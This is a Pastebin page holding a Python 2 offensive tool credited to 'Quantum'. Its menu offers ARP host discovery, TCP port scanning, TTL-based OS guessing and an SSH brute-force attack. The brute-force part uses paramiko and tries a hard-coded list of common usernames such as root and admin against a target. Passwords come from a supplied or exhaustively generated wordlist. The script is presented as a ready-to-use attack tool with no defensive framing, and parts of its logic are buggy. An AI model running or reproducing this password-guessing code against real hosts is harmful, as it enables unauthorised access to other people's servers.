Advertisement
Guest User

Untitled

a guest
Sep 24th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.56 KB | None | 0 0
  1. #!/usr/bin/python -tt
  2. """
  3. Tool developed by:
  4. Quantum
  5. """
  6.  
  7.  
  8. import socket
  9. from scapy.all import *
  10. import errno
  11. import sys
  12. import paramiko,threading
  13. import string
  14. from itertools import *
  15. from colorama import Fore
  16.  
  17. flag=0
  18. n=0
  19. flag1=0
  20.  
  21. self_ip=socket.gethostbyname(socket.gethostname())
  22.  
  23. def Host_Discovery():
  24. live_hosts=[]
  25. a=str(raw_input(Fore.CYAN +"\nEnter network octects (net id) of ip e.g 192.168.10.*: "+Fore.RESET))
  26. if a=='' or a is None or a.isalpha():
  27. print Fore.RED+"Enter correct input...!!!"+Fore.RESET
  28. return
  29. else:
  30. print Fore.GREEN + "\n\t\tLive Hosts are....."+Fore.RESET
  31. ans,unans=arping(a,verbose=False)
  32. print Fore.GREEN+"\n IP ADDRESS\t\t MAC ADDRESS\n"+Fore.RESET
  33. for i in ans:
  34. print Fore.GREEN+i[0].pdst +'\t\t'+ i[1].src + Fore.RESET
  35. if i[0].pdst not in live_hosts:
  36. live_hosts.append(i[0].pdst)
  37. print Fore.GREEN + "\n%s hosts up..." %len(live_hosts)+Fore.RESET
  38.  
  39.  
  40. def tcp_scan():
  41. default_ports=[22,23,80,111,135,443]
  42. tcp_ports=[]
  43. dst_ip=str(raw_input(Fore.CYAN +'\nEnter Target IP: '+Fore.RESET))
  44. index=0
  45. if dst_ip is None or dst_ip == '':
  46. print Fore.RED+"Enter correct input...!!!" +Fore.RESET
  47. return
  48. testip=dst_ip.split('.')
  49. for i in testip:
  50. if not i.isdigit():
  51. index=1
  52. break
  53. if index==0:
  54. if getmacbyip(dst_ip) is None:
  55. print Fore.RED+ '\nHost is Unreachable or Down..!!' +Fore.RESET
  56. return
  57.  
  58. a=str(raw_input( Fore.CYAN +"Enter Ports(separated with spaces and '-' for range: "+Fore.RESET))
  59. print Fore.GREEN+"\nPorts scanning started...." +Fore.RESET
  60.  
  61. if a=='' or a.isspace() or a.isalpha():
  62. for i in default_ports:
  63. tcp_ports.append(i)
  64. else:
  65. raw_ports=a.split(' ')
  66. for i in raw_ports:
  67. if i.isdigit():
  68. tcp_ports.append(int(i))
  69. if not i.isdigit():
  70. temp=i.split('-')
  71. for j in range(0,len(temp)):
  72. temp[j]=int(temp[j])
  73. for j in range(temp[0],temp[1]+1):
  74. tcp_ports.append(j)
  75.  
  76. # TCP connect scan...using connect method
  77.  
  78. filtered=[]
  79. closed=[]
  80. opened=[]
  81. for i in tcp_ports:
  82. s=socket.socket()
  83. try:
  84. s.settimeout(2)
  85. s.connect((dst_ip,i))
  86. opened.append(i)
  87. continue
  88. except socket.error ,e:
  89. if e[0] in [112,113]:
  90. print Fore.RED+ '%s is NOT REACHABLE or DOWN' % dst_ip +Fore.RESET
  91. return
  92. elif e[0]==111:
  93. closed.append(i)
  94. elif socket.timeout:
  95. filtered.append(i)
  96. s.close()
  97.  
  98. if len(opened) > 0:
  99. print Fore.GREEN+"\nPORT\tSTATUS"+Fore.RESET
  100. for i in opened:
  101. print Fore.GREEN+"%s\tOPEN" %i + Fore.RESET
  102. print Fore.GREEN+"\n%s opened ports..." % len(opened) +Fore.RESET
  103. if len(filtered) > 0:
  104. print Fore.YELLOW+"\nPORT\tSTATUS"+Fore.RESET
  105. for i in filtered:
  106. if i in default_ports:
  107. print Fore.YELLOW+'%s\tFILTERED' %i +Fore.RESET
  108. print Fore.YELLOW+"\n%s filtered ports..." % len(filtered) +Fore.RESET
  109. if len(closed) > 0:
  110. print Fore.RED+"\nPORT\tSTATUS"+Fore.RESET
  111. for i in closed:
  112. if i in default_ports:
  113. print Fore.RED+"%s\tCLOSED" %i +Fore.RESET
  114. print Fore.RED+"\n%s closed ports..." % len(closed) +Fore.RESET
  115. print Fore.GREEN+"\nScanning completed... %s ports scanned..." % len(tcp_ports) +Fore.RESET
  116.  
  117. def OS_Detection():
  118. targetip=str(raw_input( Fore.CYAN +"\nEnter Target IP: " +Fore.RESET))
  119. print ''
  120. if targetip == '' or targetip is None:
  121. print Fore.RED+"Enter correct input...!!!"+Fore.RESET
  122. if targetip==self_ip:
  123. print Fore.GREEN+EX+"%s belongs to Linux family..." % targetip + Fore.RESET
  124. return
  125. ans,unans=arping(targetip,timeout=2,verbose=False)
  126. ip=IP()
  127. ip.dst=targetip
  128. icmp=ICMP()
  129. icmp.type=8
  130. icmp.code=0
  131. z=sr1(ip/icmp,timeout=10,verbose=False)
  132. if z is None and len(ans)==1:
  133. print Fore.YELLOW+"Host is up...but seems to be filtered..." + Fore.RESET
  134. elif z is None and len(ans)==0:
  135. print Fore.RED+"Host is unreachable..."+Fore.RESET
  136. else:
  137. if z.ttl==128:
  138. print Fore.GREEN+"%s belongs to Windows family..." % targetip + Fore.RESET
  139. elif z.ttl==64:
  140. print Fore.GREEN+"%s belongs to Linux family..." % targetip + Fore.RESET
  141. elif z.ttl==56:
  142. print Fore.GREEN+"%s belongs to Mac family..."% targetip + Fore.RESET
  143. else:
  144. print Fore.GREEN+"Unknown OS..." + Fore.RESET
  145.  
  146. def Brute_Force():
  147. global flag1
  148. ip=str(raw_input( Fore.CYAN +"Enter ip: " + Fore.RESET ))
  149. useroption=str(raw_input( Fore.CYAN +"Known User??(Enter y or n): "+Fore.RESET))
  150. passwdoption=str(raw_input( Fore.CYAN +"Known Dictionary??(Enter y or n): "+Fore.RESET))
  151.  
  152. if useroption =='y' and passwdoption =='y':
  153. username=str(raw_input( Fore.CYAN +"Enter known username: "+Fore.RESET))
  154. filename=str(raw_input( Fore.CYAN +"Enter password file: "+Fore.RESET))
  155. ready_Dict(ip,username,filename)
  156.  
  157.  
  158. elif useroption == 'n' and passwdoption == 'y':
  159. usernames=["root","admin","administrator","god","webmaster","webadmin",
  160. "godfather","ditiss","tiger","matriux","hackit","ghost"]
  161. filename=str(raw_input( Fore.CYAN +"Enter password file: " ))
  162. for username in usernames:
  163. if flag1 == 0:
  164. bt=threading.Thread(ready_Dict(ip,username,filename))
  165. bt.start()
  166. else:
  167. flag1=0
  168. return
  169.  
  170.  
  171. elif useroption == 'y' and passwdoption == 'n':
  172. username=str(raw_input( Fore.CYAN +"Enter known username: "+Fore.RESET))
  173. Gen_Dict()
  174. ready_Dict(ip,username,"tempwlist")
  175.  
  176. elif useroption =='n' and passwdoption =='n':
  177. usernames=["root","admin","administrator","god","webmaster","webadmin",
  178. "godfather","ditiss","tiger","matriux","hackit","ghost"]
  179. Gen_Dict()
  180. for username in usernames:
  181. if flag1 == 0:
  182. bt1=threading.Thread(ready_Dict(ip,username,"tempwlist"))
  183. bt1.start()
  184. else:
  185. flag1=0
  186. return
  187.  
  188. def Brute_Thread(ip,username,passwd):
  189. ssh=paramiko.SSHClient()
  190. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  191. global n,flag,flag1
  192. n=n+1
  193. try:
  194. ssh.connect(ip,username=username,password=passwd)
  195. except paramiko.AuthenticationException:
  196. print Fore.RED+"[-]Username: %s\tPassword: %s failed."%(username,passwd) + Fore.RESET
  197. else:
  198. print Fore.GREEN+"\n********************************************************"
  199. print "[#]Username: %s\tPassword: %s Found........!!!"%(username,passwd)
  200. print "********************************************************"+Fore.RESET
  201. flag=1
  202. flag1=1
  203. print Fore.RED+"\nFound correct password after %s attempts..." %n +Fore.RESET
  204. return
  205. ssh.close()
  206. return
  207.  
  208. def ready_Dict(ip,username,filename):
  209. global flag,n
  210. f=open(filename,"r")
  211. st=f.read()
  212. wordlist=st.split('\n')
  213. for i in wordlist:
  214. if flag==0:
  215. t=threading.Thread(Brute_Thread(ip,username,i))
  216. t.start()
  217. elif flag==1:
  218. flag=0
  219. break
  220. if flag==1:
  221. print Fore.RED+"\nFinished wordlist...%s words checked...password not found!!!" % n+Fore.RESET
  222. n=0
  223. f.close()
  224.  
  225. def Gen_Dict():
  226. ch=str(raw_input( Fore.CYAN +"Want to enter custom charset??(Enter y or n): "+Fore.RESET))
  227. if ch == 'y':
  228. charset=str(raw_input( Fore.CYAN +"Enter custom charset: "+Fore.RESET))
  229. elif ch == 'n':
  230. charset=string.letters[0:26]
  231. min_length=int(input( Fore.CYAN +"Enter min passwd length: "+Fore.RESET))
  232. max_length=int(input( Fore.CYAN +"Enter max passwd length: "+Fore.RESET))
  233. f=open("tempwlist","w")
  234. count=0
  235. for wordlen in range(min_length,max_length+1):
  236. for word in listwords(charset,wordlen):
  237. f.write(word+'\n')
  238. count+=1
  239. print Fore.GREEN+"\nDictionary created with %s words....\n" %count + Fore.RESET
  240. f.close()
  241.  
  242. def listwords(chars,length):
  243. for letters in product(chars,repeat=length):
  244. yield ''.join(letters)
  245.  
  246.  
  247. def main():
  248. print Fore.GREEN + " "
  249. print " ## ## ## ##### ####### "
  250. print " ## ## ## # # "
  251. print " ## ## ## #### # "
  252. print " ## ## ## # # "
  253. print " ## #### ##### # "
  254. print " "
  255. print " coded by Quantum " + Fore.RESET
  256. while(True):
  257. try:
  258. print Fore.CYAN + "\n1.Hosts Discovery" +Fore.RESET
  259. print Fore.CYAN + "2.Ports Scanning" +Fore.RESET
  260. print Fore.CYAN+"3.OS Detection" + Fore.RESET
  261. print Fore.CYAN+"4.Brute Force SSH" +Fore.RESET
  262. print Fore.YELLOW+"Press ctrl+c to exit..." +Fore.RESET
  263. opt=int(input(Fore.CYAN+"\nEnter choice: "+Fore.RESET))
  264. if opt==1:
  265. Host_Discovery()
  266. elif opt==2:
  267. tcp_scan()
  268. elif opt==3:
  269. OS_Detection()
  270. elif opt==4:
  271. Brute_Force()
  272. else:
  273. print Fore.RED+"\nEnter correct choice...!!" +Fore.RESET
  274. except KeyboardInterrupt:
  275. print Fore.RED+"\nABORTED PROGRAM....!!" +Fore.RESET
  276. sys.exit(0)
  277. except:
  278. print Fore.RED+"\nEnter correct choice...!!" +Fore.RESET
  279.  
  280. if __name__ == '__main__':
  281. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement